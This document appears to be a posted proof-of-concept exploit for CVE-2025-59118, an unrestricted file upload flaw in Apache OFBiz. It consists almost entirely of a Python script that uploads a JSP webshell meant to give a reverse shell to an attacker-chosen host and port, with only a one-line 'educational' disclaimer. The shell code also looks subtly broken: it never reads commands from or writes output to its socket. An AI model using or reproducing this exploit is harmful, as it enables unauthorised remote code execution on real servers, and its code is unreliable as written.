CVE-2025-59118 Apache OFBiz危险类型文件无限制上传漏洞

#!/usr/bin/env python3 """ CVE-2025-59118 Apache OFBiz Unrestricted File Upload PoC Note: This is for educational and authorized testing purposes only """ import requests import sys def exploit_ofbiz(target_url, lhost, lport): """ Exploit Apache OFBiz file upload vulnerability to upload JSP webshell """ # JSP webshell with reverse shell webshell = f''' <%@ page import="java.io.*" %> <%@ page import="java.net.*" %> <% String host = "{lhost}"; int port = {lport}; Socket socket = new Socket(host, port); Process process = Runtime.getRuntime().exec("/bin/bash"); InputStream inputStream = process.getInputStream(); OutputStream outputStream = process.getOutputStream(); DataInputStream dataInputStream = new DataInputStream(inputStream); DataOutputStream dataOutputStream = new DataOutputStream(outputStream); while(true) {{ String command = dataInputStream.readLine(); if(command.equals("exit")) {{ break; }} Process process2 = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(process2.getInputStream())); String line = ""; while((line = reader.readLine()) != null) {{ dataOutputStream.writeBytes(line + "\\n"); }} dataOutputStream.flush(); }} %> ''' # File upload endpoint (common OFBiz upload location) upload_url = f"{target_url}/webtools/control/FileUpload" # Prepare multipart form data files = { 'uploadedFile': ('shell.jsp', webshell.encode(), 'application/octet-stream') } try: print(f"[*] Attempting to upload webshell to {target_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Access the shell at: {target_url}/images/shell.jsp") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: {sys.argv[0]} http://target.com:8443 192.168.1.100 4444") sys.exit(1) exploit_ofbiz(sys.argv[1], sys.argv[2], sys.argv[3])